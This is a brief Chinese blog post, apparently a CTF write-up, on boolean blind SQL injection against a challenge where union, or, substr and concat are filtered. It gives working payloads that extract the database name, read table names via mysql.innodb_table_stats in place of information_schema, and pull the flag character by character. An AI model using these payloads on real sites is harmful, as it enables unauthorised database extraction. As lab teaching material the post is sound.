jactf-sql

知识点 

  • 布尔盲注

过滤了

union 无法使用联合查询
or information_schema表不能用
sub substr()函数不能用
concat 不能使用报错注入里的concat('~',select database())

关于information_schema表被禁后怎么注入可以参考

https://www.secpulse.com/archives/69983.html
https://www.anquanke.com/post/id/193512
payload

 

查数据库长度 ?id=1 and length(database())=1 这个1可以用burpsuite进行爆破
查数据库名 id=1 and ascii(mid(database(),1,1))=1
数据库名为jactf
查表名由于or被禁导致information_schema表被禁,使用mysql.innodb_table_stats进行代替,但这个东西查不了列名 
id=1 and ascii(mid((select table_name from mysql.innodb_table_stats where database_name=database() limit 0,1),1,1))>1 
查到表名为flag
这里大胆猜测列名为flag
查flag ?id=1 and ascii(mid((select flag from flag),27,1))=1

 

posted @ 2020-05-13 20:11  山野村夫z1  阅读(155)  评论(0编辑  收藏  举报